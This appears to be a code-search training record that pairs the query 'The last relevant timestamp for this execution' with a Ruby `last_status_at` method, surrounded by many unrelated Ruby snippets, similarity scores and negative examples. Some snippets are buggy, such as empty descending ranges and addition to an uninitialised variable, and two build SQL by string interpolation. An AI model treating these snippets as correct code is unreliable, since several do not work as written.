"def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n time_in_months = 0.0\r\n\r\n case\r\n when @population_density >= 200\r\n time_in_months += 0.5\r\n when @population_density >= 150\r\n time_in_months += 1\r\n when @population_density >= 100\r\n time_in_months += 1.5\r\n when @population_density >= 50\r\n time_in_months += 2\r\n else\r\n time_in_months += 2.5\r\n end\r\n\r\n puts \" and it will spread across the state in #{time_in_months} months.\\n\\n\"\r\n\r\n end",
"def no_repeat_years(first_year, last_year)\nend",
"def calc_pa_iers2003(t)\n return (0.024381750 + 0.00000538691 * t) * t\n rescue => e\n raise\n end",
"def timeperiod( seconds )\n\t\treturn case\n\t\t\twhen seconds < MINUTES - 5\n\t\t\t\t'less than a minute'\n\t\t\twhen seconds < 50 * MINUTES\n\t\t\t\tif seconds <= 89\n\t\t\t\t\t\"a minute\"\n\t\t\t\telse\n\t\t\t\t\t\"%d minutes\" % [ (seconds.to_f / MINUTES).ceil ]\n\t\t\t\tend\n\t\t\twhen seconds < 90 * MINUTES\n\t\t\t\t'about an hour'\n\t\t\twhen seconds < 18 * HOURS\n\t\t\t\t\"%d hours\" % [ (seconds.to_f / HOURS).ceil ]\n\t\t\twhen seconds < 30 * HOURS\n\t\t\t\t'about a day'\n\t\t\twhen seconds < WEEKS\n\t\t\t\t\"%d days\" % [ (seconds.to_f / DAYS).ceil ]\n\t\t\twhen seconds < 2 * WEEKS\n\t\t\t\t'about a week'\n\t\t\twhen seconds < 3 * MONTHS\n\t\t\t\t\"%d weeks\" % [ (seconds.to_f / WEEKS).ceil ]\n\t\t\twhen seconds < 18 * MONTHS\n\t\t\t\t\"%d months\" % [ (seconds.to_f / MONTHS).ceil ]\n\t\t\telse\n\t\t\t\t\"%d years\" % [ (seconds.to_f / YEARS).ceil ]\n\t\t\tend\n\tend",
"def main\n\n if ARGV.length == 0 or ARGV[0] == \"-h\"\n puts \"makePWLfromCSV <file> where\n each line is a csv file\"\n exit\n end\n\n filename = ARGV[0]\n csvList = File.open(filename,\"r\")\n\n sample=1\n minRatio=0.0001\n\n while (!csvList.eof)\n line=csvList.gets.strip.chomp\n\n if line=~/^\\#/ \n #puts \"comment:#{line}\"\n next\n else\n #puts \"processing:#{line}\"\n filename=line\n end\n\n # \n # assuming file name is \n # config_process_voltage_temperature\n #\n base=File.basename(filename,\".csv\")\n arr=base.split(/_/)\n config=arr[1]\n process=arr[2]\n voltage=arr[3]\n temperature=arr[4]\n\n #arr.each{|item| puts item }\n #printf(\"%s,%s,%s\\n\",config,v,t)\n \n outFile = base + \".pwl\"\n\n out = File.open(outFile,\"w\")\n csv = File.open(filename,\"r\")\n puts \"opening \" + filename\n\n timeCurrentArr=Array.new\n j=0\n\n imin=1e9\n imax=0\n\n # \n # go through each line, store if\n # it is a line with comma and numbers\n #\n while (!csv.eof)\n data=csv.gets.strip.chomp\n #puts \"data line: \" + data\n\n if data=~/\\,/ then\n (t,i)=data.split(/,/)\n\n if is_num(t) and is_num(i) then \n #puts \"#{t} #{i} are numbers\" \n\n t=t.to_f\n i=i.to_f\n\n timeCurrentArr[j]=Array.new\n timeCurrentArr[j][0]=t\n timeCurrentArr[j][1]=i\n\n if i.abs>imax then\n imax=i.abs\n tmax=t\n indexMax=j\n end\n\n if i.abs<imin then\n imin=i.abs\n tmin=t\n indexMin=j\n end\n\n j+=1\n\n else\n #puts \"#{t} #{i} are not numbers\"\n end\n\n end\n end\n\n csv.close\n\n arrSize = timeCurrentArr.length\n puts \"arrSize: \" + arrSize.to_s + \" j:\" + j.to_s\n puts \"min: #{imin} at index #{indexMin}\"\n puts \"max: #{imax} at index #{indexMax}\"\n\n pwlArray=Array.new\n c=0\n\n # need to normalize the time to 0 as some\n # sims are offset in time\n initialTime=timeCurrentArr[0][0]\n initialCurrent=timeCurrentArr[0][0]\n\n #PWL waveform: (5E-12, -6.89266E-05)\n out.printf(\"PWL waveform: \")\n\n 0.upto(arrSize-1) do |j|\n\n check=(j.to_f/sample) \n\n #check to see if element of the array\n #is divisible by the sample size\n\n if check==check.to_i\n pwlArray[c]=Array.new\n t=timeCurrentArr[j][0]-initialTime\n\n # negate the data as the current is peaking negative\n i=-1 * timeCurrentArr[j][1]\n\n # after max value time is reached, make\n # sure ratio of the data indicates the\n # data is not essentially zero\n \n ratio = i.abs/imax\n #puts \"ratio: #{ratio} j:#{j} inxMax:#{indexMax} iabs:#{i.abs}\"\n if j<=indexMax then\n\n pwlArray[c][0]=t\n pwlArray[c][1]=i\n\n printf(\"(%.3e,%.3e)\\n\",t,i)\n out.printf(\"(%.3e,%.3e) \",t,i)\n\n c+=1\n\n elsif j>indexMax \n\n if ratio>minRatio then\n # keep on trucking\n #puts \"ratio ok:#{ratio}\"\n\n pwlArray[c][0]=t\n pwlArray[c][1]=i\n\n printf(\"(%.3e,%.3e)\\n\",t,i)\n out.printf(\"(%.3e,%.3e) \",t,i)\n\n c+=1\n else\n puts \"ratio low:#{ratio} at time #{t}\"\n end\n end\n end\n end\n \n out.printf(\"\\n\")\n out.close\n\n puts \"See: #{outFile}\"\n\n end\n\n csvList.close\nend",
"def period_pairs_for(age_in_seconds)\n years_remainder = age_in_seconds % SECONDS_IN_A_YEAR\n\n months_remainder = years_remainder % SECONDS_IN_A_MONTH\n\n weeks_remainder = months_remainder % SECONDS_IN_A_WEEK\n\n [\n [age_in_seconds / SECONDS_IN_A_YEAR, \"year\"],\n [years_remainder / SECONDS_IN_A_MONTH, \"month\"],\n [months_remainder / SECONDS_IN_A_WEEK, \"week\"],\n [weeks_remainder / SECONDS_IN_A_DAY, \"day\"],\n ]\n end",
"def length\n is_leap?[adjust_set_month]\n end",
"def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n speed_array=[0.5, 1, 1.5, 2, 2.5]\r\n density_array=[200,150,100,50,0]\r\n\r\n speed_array.each_index do |index|\r\n if @population_density >= density_array[index]\r\n speed += speed_array[index]\r\n break\r\n end\r\n end\r\n\r\n=begin\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n=end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end",
"def no_repeat_years(first_yr, last_yr)\n result = []\n (first_yr..last_yr).each do |num|\n if not_repeat_year?(num)\n result << num\n end\n end\n result\nend",
"def phaselog\n\tlogfile = ENV['puppet_logfile'] || '/var/log/syslog'\n\tcount,avg,day_count_unique,day_count = 0 ,0 ,0, 0\n\tt = Time.now\n\ttoday = t.strftime(\"^%b %e\")\n\thour = t.strftime(\"^%b %e %H:\")\n\tm = t.min.to_i\n\tlast5m = \"\"\n\t6.times do |i|\n\t\tlast5m += hour\n\t\tlast5m += \"0\" if (m-i) < 10\n\t\tlast5m += (m-i).to_s \n\t\tlast5m += \"|\" unless i==5\n\tend\n\thosts = Array.new\n\tregexp = \".* for (.*) in (.*) seconds\"\n\n\tFile.open(logfile).grep(/#{today}/).grep(/Compiled catalog/).each do |line|\n \t case line\n\t\t\twhen /#{last5m}/ then\n\t\t\t\tif line =~ /#{regexp}/\n\t\t\t\t\tavg += $2.to_f\n\t\t\t\t\tcount += 1\n\t\t\t\t\tunless hosts.include?($1)\n\t\t\t\t\t\thosts << $1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen /#{regexp}/ then\n\t\t\t\tday_count += 1\n\t\t\t\tunless hosts.include?($1)\n\t\t\t\t\thosts << $1 \n\t\t\t\t\tday_count_unique += 1\n\t\t\t\tend\n\t\tend\n\tend\n\tputs \"avg_compile.value #{(avg / count).to_s[0..3]}\" unless count == 0\n\tputs \"last5m_count.value #{count}\" \n\tputs \"last24h_unique_count.value #{day_count_unique}\" \nend",
"def generate\n # Determine date period\n if(params['startdate'] && params['enddate'])\n # use those dates as ranges\n begin\n @startdate = Date.parse(params['startdate']);\n rescue\n flash[:error] = \"Start date format not valid.\";\n index();\n render :action => 'index'\n return;\n end\n\n begin\n @enddate = Date.parse(params['enddate']);\n rescue\n flash[:error] = \"End date format not valid.\";\n index();\n render :action => 'index'\n return;\n end\n\n elsif(params['period'] &&\n ((params['period'].length() == 3) ||\n (params['period'].length() == 5)) )\n # a string such as 'f05' or 's01' or 'u09' [summer]\n period = params['period'].downcase();\n year = period.slice(1..period.length());\n\n # if it's a two-digit year, expand\n if(year.length() == 2)\n year = \"20\" + year;\n end\n\n # find a relevant period, first\n range = Generate_Periods[period.slice(0..0)];\n if(!range)\n flash[:error] = \"Invalid period prefix #{period.slice(0..0)}.\";\n index();\n render :action => 'index'\n return;\n end\n\n @startdate = Date.parse(range.first + year);\n @enddate = Date.parse(range.last + year);\n elsif params['period'] == 'soon'\n #soon period is from 1 week ago through 3 weeks from now.\n #this is good for syncing a calendar\n @startdate = 1.week.ago\n @enddate = 3.months.from_now\n elsif params['matchdate']\n @startdate = Date.parse(params['matchdate'])\n @enddate = @startdate + 3.months\n else\n #assume the period is the current one if parsing the params has failed\n year = DateTime.now().year().to_s();\n matchdate = DateTime.now();\n if(params['matchdate'])\n begin\n matchdate = Date.parse(params['matchdate']);\n rescue\n end\n end\n\n @startdate = nil;\n\n Generate_Periods.keys.each do |period|\n range = Generate_Periods[period];\n rangestart = Date.parse(range.first + year);\n rangeend = Date.parse(range.last + year);\n\n if((rangestart.ajd() < matchdate.ajd()) &&\n (matchdate.ajd() < rangeend.ajd()) )\n @startdate = rangestart;\n @enddate = rangeend;\n end\n end\n\n if(!@startdate)\n flash[:error] = \"No period matching today's date.\";\n index();\n render :action => 'index'\n return;\n end\n end\n\n # find the eventdates relevant\n # showall=true param includes events that are unpublished (events.published == false)\n if(params['showall'])\n @eventdates = Eventdate.find(:all,\n :conditions => \"('#{@startdate.strftime(\"%Y-%m-%d\")}' < startdate) AND \" +\n \"('#{@enddate.strftime(\"%Y-%m-%d\")}' > enddate)\",\n :order => \"startdate ASC\",\n :include => [:event, :locations]);\n else\n @eventdates = Eventdate.find(:all, \n :conditions => \"('#{@startdate.strftime(\"%Y-%m-%d\")}' < startdate) AND \" +\n \"('#{@enddate.strftime(\"%Y-%m-%d\")}' > enddate) AND \" +\n \"(events.publish)\",\n :order => \"startdate ASC\",\n :include => [:event, :locations]);\n end\n\n format = params['format'];\n if(!format || (format == \"\"))\n format = Format_ScheduleFile;\n end\n\n # flash[:notice] = \"startdate: #{@startdate.to_s()}\\nenddate: #{enddate.to_s()}\";\n\n case(format)\n when Format_ScheduleFile\n render(:action => \"generateschedule\", :layout => false, :content_type => \"text/plain\");\n when Format_ICS\n render(:action => \"generateics\", :layout => false, :content_type => \"text/calendar\");\n else\n flash[:error] = \"Please select a valid format.\";\n redirect_to(:action => \"index\");\n return;\n end\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case @population_density\n when (150..199)\n speed += 1\n when (100..149)\n speed += 1.5\n when (50..99)\n speed += 2\n when (0..49)\n speed += 2.5\n else\n speed += 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end",
"def period_in_seconds\n (start_time.to_i..end_time.to_i)\n end",
"def switchPeriod\n if params[:periode] == \"année\"\n visitors_by_months\n elsif params[:periode] == \"mois\"\n visitors_by_weeks\n elsif params[:periode] == \"personnalisé\"\n p \"params[:presonnalize_date] =>>>> #{params[:presonnalize_date]}\"\n dates = params[:presonnalize_date]\n if dates.present?\n @start = Date.parse(dates.split(' to ')[0])\n p \"start at :#{ @start}\"\n @end = Date.parse(dates.split(' to ')[1])\n p \"end at :#{ @end}\"\n rang = (@end-@start).to_i\n p \"rang is at: #{ rang}\"\n if rang < 8\n charts_visitors_by_days_path(params1: @start, params2: @end)\n elsif rang < 31\n\n charts_visitors_by_weeks_path\n\n else\n visitors_by_months\n end\n end\n else\n charts_visitors_by_days_path\n end\n\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n if @population_density >= 200\n num_months = 0.5\n elsif @population_density >= 150\n num_months = 1\n elsif @population_density >= 100\n num_months = 1.5\n elsif @population_density >= 50\n num_months = 2\n else\n num_months = 2.5\n end\n\n puts \" and will spread across the state in #{num_months} months.\\n\\n\"\n\n end",
"def period_start\n period.begin\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n case @population_density \n when 200..150\n speed += 0.5\n when 149..100\n speed += 1\n when 99..50\n speed += 1.5\n else \n speed = 2\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 2.5\n\n case @population_density \n when 150..200\n speed += 0.5\n when 100..149\n speed += 1\n when 50..99\n speed += 1.5\n else \n speed \n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end",
"def calculation(duration, loan, apr)\n loan * (apr / (1 - (1 + apr)**(-duration)))\nend",
"def all_options_for_period\n [\n [604800, 'last week'],\n [2592000, 'last month'],\n [7776000, 'last 3 months'],\n [31557600, 'last year'],\n [0, 'fixed range:']\n ]\n end",
"def time_julian_century()\r\n t1 = ( @ajd - DJ00 ) / DJC\r\n # t2 = t1 * t1\r\n # t3 = t1 * t2\r\n # t4 = t2 * t2\r\n # t5 = t2 * t3\r\n # t6 = t3 * t3\r\n # t7 = t3 * t4\r\n # t8 = t4 * t4\r\n # t9 = t4 * t5\r\n # t10 = t5 * t5\r\n# @ta = [ t1, t2, t3, t4, t5, t6, t7, t8, t9, t10 ] \r\n @ta = t1 \r\n end",
"def earned_schedule\n ev = project.earned_value(self) #Current Earned Value\n pv_line = planned_value_by_week #Planned value by week to see in what week EV is the same as PV.\n\n week = pv_line.first[0] #PVt week\n next_week = pv_line.first[0] #PVt+1 week\n\n previous_value = 0 #Temp PVt value for loop\n previous_key = pv_line.first[0] #Temp PVt week for loop \n\n pv_line.each do |key, value|\n # puts \"#{previous_value} >= #{ev} < #{value}\"\n if( ev >= previous_value.round && ev < value.round) #Each key is a week, in what week does the EV equal to PV?\n # puts \"#{previous_value} >= #{ev} < #{value}\"\n # puts \"Yes!\"\n week = previous_key\n next_week = key\n elsif( ev == previous_value.round && ev == value.round) #THIS elseif is here when both are equal until the end of the project, e.g. when the project is finished.\n # puts \"Yes! Equal\"\n week = key\n next_week = key\n end\n previous_key = key\n previous_value = value.round\n end\n\n pv_t = pv_line[week] #PVt value\n pv_t_next = pv_line[next_week] #PVt+1 value\n\n num_of_weeks = pv_line.keys[0..pv_line.keys.index(week)].size - 1 #Get num of weeks until \"week\", t is number of weeks.\n \n if (pv_line[next_week] - pv_line[week]) == 0 #Prevent from divide by zero, when values are equal.\n num_of_weeks #This means that the line is flat. So use the previous value because (EV >= PVt and EV < PVt+1).\n else\n num_of_weeks + ((ev - pv_line[week]).to_f / (pv_line[next_week] - pv_line[week]))\n end\n end",
"def release_progress_daily_total_cases_series(product_id, version_id, start_time, end_time)\n number_of_cases = Result.where(:assignment_id => Assignment.where(:product_id => product_id, :version_id => version_id) ).count()\n \n output = []\n (start_time..end_time).map do |date|\n output.push [date.to_time.to_i * 1000, number_of_cases]\n end\n output.to_s\n end",
"def new_total_tb_w2yrs(start_date=Time.now, end_date=Time.now, section=nil)\n value = []\n\n start_date = @@start_date.to_date.strftime('%Y-%m-%d 00:00:00')\n end_date = @@end_date.to_date.strftime('%Y-%m-%d 23:59:59')\n\n patients = FlatCohortTable.find_by_sql(\"SELECT ftc.patient_id FROM flat_cohort_table ftc\n LEFT OUTER JOIN flat_table1 ft1 ON ft1.patient_id = ftc.patient_id\n WHERE ftc.date_enrolled >= '#{start_date}'\n AND ftc.date_enrolled <= '#{end_date}'\n AND (ft1.pulmonary_tuberculosis_last_2_years = 'Yes' OR\n ft1.who_stages_criteria_present = 'Tuberculosis (PTB or EPTB) within the last 2 years')\n GROUP BY ftc.patient_id\").collect{|p| p.patient_id}\n\n\n value = patients unless patients.blank?\n end",
"def fortnights ; Duration[self * 1209600] ; end",
"def no_repeats(year_start, year_end)\nanswer = []\n\n for year in year_start..year_end do\n if no_repeat?(year)\n answer << year\n end\n end\n return answer\nend",
"def years\n years_range = 2000..2100\n found_palindromes = 0\n years_range.each do |year|\n year_string = year.to_s(2)\n match_last_zeros = (/[0]+?$/).match(year_string).to_s\n @palindrome.palindrome?(match_last_zeros + year_string) && found_palindromes += 1\n end\n puts \"Between 2000 and 2100 are #{found_palindromes} palindromic years as binary.\"\n end",
"def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n\r\n speed = case @population_density\r\n when 200..15000 then 0.5\r\n when 150..199 then 1.0\r\n when 100..149 then 1.5\r\n when 50..99 then 2.0\r\n else 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end",
"def first_period(attendance)\n\t\t# binding.pry\n\t\t## If User punch-in before 10 AM\n\t\tif (attendance.punch_in_time.present?) and (attendance.punch_in_time.hour <= 10)\n\t\t\tif (Time.current >= (attendance.punch_in_time.hour + 4.hours))\n\t\t\t\t\"PR\"\n\t\t\t\n\t\t\tend\n\t\t## If User punch in after 10 AM\t\n\t\telsif (attendance.punch_in_time.present? and attendance.punch_in_time.hour > 10)\n\t\t\t\"AB\"\n\t\telse\n\t\t### If attendance date is less then current date and some have week offs\t \n\t\t\t if (attendance.created_at.to_date < Date.current) and (not attendance.week_off)\n\t\t\t \t\"AB\"\n\t\t\t elsif attendance.week_off\n\t\t\t \t\"WO\"\n\t\t\t elsif (attendance.created_at.to_date == Date.current) and (not attendance.week_off)\n\t\t\t \tif Time.current.hour > 10\n\t\t\t \t\t\"AB\"\n\t\t\t \t\n\t\t\t \tend\n\t\t\t \n\t\t\t end\n\n\t\tend \t\n\n\tend",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.5*@range\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case @population_density\n when 200..Float::INFINITY then speed += 0.5\n when 150..199 then speed += 1\n when 100..149 then speed += 1.5\n when 50..99 then speed += 2\n else speed += 2.5\n end\n=begin \n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n=end \n speed\n end",
"def retrieve_date_range_11\n @free_period = false\n @from, @to = nil, nil\n\n if params[:period_type] == '1' || (params[:period_type].nil? && !params[:period].nil?)\n case params[:period].to_s\n when 'today'\n @from = @to = Date.today\n when 'yesterday'\n @from = @to = Date.today - 1\n when 'current_week'\n @from = Date.today - (Date.today.cwday - 1)%7\n @to = @from + 6\n when 'last_week'\n @from = Date.today - 7 - (Date.today.cwday - 1)%7\n @to = @from + 6\n when '7_days'\n @from = Date.today - 7\n @to = Date.today\n when 'current_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1)\n @to = (@from >> 1) - 1\n when 'last_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n @to = (@from >> 1) - 1\n when '30_days'\n @from = Date.today - 30\n @to = Date.today\n when 'current_year'\n @from = Date.civil(Date.today.year, 1, 1)\n @to = Date.civil(Date.today.year, 12, 31)\n end\n elsif params[:period_type] == '2' || (params[:period_type].nil? && (!params[:from].nil? || !params[:to].nil?))\n begin; @from = params[:from].to_s.to_date unless params[:from].blank?; rescue; end\n begin; @to = params[:to].to_s.to_date unless params[:to].blank?; rescue; end\n @free_period = true\n else\n # default\n end\n \n @from, @to = @to, @from if @from && @to && @from > @to\n @from ||= (TimeEntry.earilest_date_for_project(@project) || Date.today)\n @to ||= (TimeEntry.latest_date_for_project(@project) || Date.today)\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n #changed speed var name to months\n #changed the months from a discrete range of numbers to a continuous funtion\n #using the equation for a line to get more accurate timeline\n\n # y = speed\n # x = @population_density\n # slope = -1/75\n # b = 2.5\n\n months = @population_density * (-1.0/75) + 2.5\n if months < 0\n months = 0\n end\n\n puts \" and will spread across the state in #{months} months.\\n\\n\"\n\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n months = 0.0\n case population_range\n when \"low\"\n months = 2.5\n when \"low_med\"\n months = 2\n when \"med\"\n months = 1.5\n when \"med_high\"\n months = 1\n when \"high\"\n months = 0.5\n end\n\n # puts \" and will spread across the state in #{speed} months.\\n\\n\"\n months\n end",
"def pmt(rate,nper,pv,fv =0,type = 0)\n #- pv/((1 - (1 / (1 + rate)**nper )) / rate)\n pv = -pv\n\n k = [1,1+rate][type]\n\n -(pv + (pv - fv)/((1+rate) ** nper - 1))* -rate/k #added some extra neg signs to get it to work\n end",
"def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n # speed = 0.0\r\n # if @population_density >= 200\r\n # speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n case @population_density\r\n when 0 .. 49 then speed = 2.5\r\n when 50 .. 99 then speed = 2\r\n when 100 .. 149 then speed = 1.5 \r\n when 150 .. 200 then speed = 1\r\n else speed = 0.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end",
"def schedule_periods\n\t\t@periods = Period.all\n\tend",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case population_density\n when 200..500\n speed += 0.5\n when 150..200\n speed += 1\n when 100..150\n speed += 1.5\n when 50..100\n speed += 2\n when 0..50\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end",
"def calculate_n_months(loan_duration)\n 12 * loan_duration\nend",
"def silly_years(year)\n result_arr = []\n # retrieves first two digits\n first_half = year.to_s.split('')[0..1].join('').to_i\n while result_arr.length < 10\n first_half += 1\n mid = first_half%10\n next if mid*10 - first_half < 0\n \n mid = mid*10 + (((mid*10) - first_half)/10)\n second_half = mid - first_half\n year = first_half.to_s\n if second_half.to_s.length == 1\n year += \"0\" + second_half.to_s\n else\n year += second_half.to_s\n end\n \n \n result_arr << year.to_i\n end\n\n result_arr\nend",
"def gen_code\n ret = '1' * 14\n d = Time.now - 3600 * 24 * 3\n\n ret[6] = d.strftime('%m')[0]\n ret[7] = d.strftime('%m')[1]\n\n ret[0] = d.strftime('%d')[0]\n ret[1] = d.strftime('%d')[1]\n\n ret[9] = d.strftime('%y')[0]\n ret[10] = d.strftime('%y')[1]\n\n [2,3,4,5,8,11,12].each do |idx|\n ret[idx] = rand(10).to_s\n end\n\n tmp = ret.split(//)\n tmp.pop\n\n counter = tmp.length\n\n while counter > -1 do\n tmp[counter - 1] = tmp[counter - 1].to_i * 2\n tmp[counter - 2] = tmp[counter - 2].to_i\n counter -= 2\n end\n\n tmp = tmp.map{|x| x.to_s}.join\n\n sum = 0\n tmp.split(//).each do |idx|\n sum += tmp[idx].to_i\n end\n\n ret[13] = (sum * 9 % 10).to_s\n ret\nend",
"def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n if @population_density >= 200\r\n travel_time = 0.5\r\n elsif @population_density >= 150\r\n travel_time = 1\r\n elsif @population_density >= 100\r\n travel_time = 1.5\r\n elsif @population_density >= 50\r\n travel_time = 2\r\n else\r\n travel_time = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{travel_time} months.\\n\\n\"\r\n\r\n end",
"def end_of(period)\n case period\n when :eternity then change(:year => 9999, :month => 12, :day => 31, :hour => 23, :min => 59, :sec => 59)\n when :day, :week, :month, :year, :hour, :minute then send(\"end_of_#{period}\")\n else raise_invalid_period(period)\n end\n end",
"def calculate_ponderated_values\n 1.upto(12) do |i|\n c = @code[i - 1]\n if c\n c *= 3 if i.even?\n @ponderated.push c\n end\n end\n end",
"def processing_times\n total = ab_output.match(/Total:\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)/)\n ninety = ab_output.match(/ 90%\\s+([0-9.]+)/)\n ninetyfive = ab_output.match(/ 95%\\s+([0-9.]+)/)\n [total[1], total[2], total[4], ninety[1], ninetyfive[1], total[5]]\n end"
] |
[
"0.62908304",
"0.62908304",
"0.62908304",
"0.57485765",
"0.57187915",
"0.5684704",
"0.56326306",
"0.55131984",
"0.5511566",
"0.54998416",
"0.5480591",
"0.54379624",
"0.54090905",
"0.529574",
"0.52821976",
"0.5277444",
"0.5227684",
"0.5225939",
"0.5225685",
"0.5224434",
"0.52063274",
"0.5148521",
"0.51481164",
"0.51402277",
"0.5116338",
"0.511354",
"0.51017594",
"0.5095438",
"0.5087996",
"0.50832754",
"0.50822043",
"0.507629",
"0.507121",
"0.5058671",
"0.5051494",
"0.5047845",
"0.5046395",
"0.5026389",
"0.5007028",
"0.5004578",
"0.50030535",
"0.5001215",
"0.5000587",
"0.49978605",
"0.49921238",
"0.49921045",
"0.49885377",
"0.49790937",
"0.4957721",
"0.4949631",
"0.4942441",
"0.49118045",
"0.4908869",
"0.490288",
"0.48901042",
"0.4885658",
"0.48817778",
"0.48810884",
"0.48698938",
"0.48669046",
"0.48616233",
"0.48568675",
"0.48528948",
"0.48424911",
"0.48320714",
"0.48213962",
"0.48181325",
"0.48177525",
"0.48111716",
"0.48100907",
"0.48053354",
"0.48004857",
"0.47964466",
"0.4788621",
"0.4786217",
"0.4783529",
"0.47811735",
"0.4779732",
"0.47692183",
"0.47675067",
"0.47673458",
"0.4763494",
"0.47623798",
"0.47614282",
"0.47567964",
"0.47564238",
"0.47546685",
"0.47486606",
"0.47433406",
"0.47419176",
"0.47418964",
"0.4737255",
"0.4733027",
"0.47280136",
"0.4725208",
"0.47180265",
"0.4717374",
"0.47157627",
"0.47154656",
"0.47129402"
] |
0.56660116
|
6
|
The last relevant timestamp for this execution
|
def last_status_at
finished_at || performed_at || scheduled_at || created_at
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def last_time\n @last_time\n end",
"def last_update\n Time.parse(@record.SystemModstamp)\n end",
"def last_entry_time\n last_entry = db.last_entry_temp.flatten.first\n last_entry ? Time.at(last_entry) : nil\n end",
"def last_updated_time\n data[:last_updated_time]\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_update_date_time\n return @last_update_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_updated_date_time\n return @last_updated_date_time\n end",
"def last_polled_at\n Time.now\n end",
"def last_timestamp(event)\n event[:lastTimestamp] || event.dig(:metadata, :creationTimestamp)\n end",
"def last_operation_time\n last_operation['time'].to_i\n end",
"def last_update\n Time._load(index_time_dbm_file['last']) rescue \"none\"\n end",
"def get_last_oplog_timestamp\n cur = retry_until_ok do\n @oplog_coll.find({}, :sort => [\"$natural\", :desc], :limit => 1)\n end\n\n cur.next[\"ts\"]\n end",
"def last_update_at\n connection.get_metric_last_update_at(@id)\n end",
"def last_fetch\n datetime_from(\"sf:last_fetch\")\n end",
"def last_edited_time\n begin\n $redis.hget 'last_edit:instrument', self.id\n rescue\n nil\n end\n end",
"def last_updated\n self.dig_for_datetime(\"lastUpdateOn\")\n end",
"def timestamp\n memoized_info[:local_timestamp]\n end",
"def last_timestamp\n lines.last.first\n rescue\n 0\n end",
"def last_epoch_time; end",
"def current_timestamp\n if @current_timestamp.nil? or (Time.now.to_i - @last_stat >= Puppet[:filetimeout])\n @last_stat = Time.now.to_i\n begin\n @current_timestamp = File.stat(@filename).ctime\n rescue Errno::ENOENT, Errno::ENOTDIR\n @current_timestamp = Time.now\n end\n end\n @current_timestamp\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def latest_execution\n executions.order(updated_at: :desc).first&.updated_at\n end",
"def last_updated_at\n if cache\n @last_updated_at ||= remote_last_updated_at\n else\n remote_last_updated_at\n end\n end",
"def timestamp\n begin\n max=model.max(:updated_at)\n #rescue PG::Error => err\n rescue => err\n # puts \" error was #{err}\"\n # if we get an error, just assume we need to update the table\n return Rake::EARLY\n end\n # this is embarassing, but rake doesn't have a way to say\n # that this thing is more recently updated than anything else\n max.nil? ? Time.parse('Dec 31, 9999') : max\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
"def last_seen_date_time\n return @last_seen_date_time\n end",
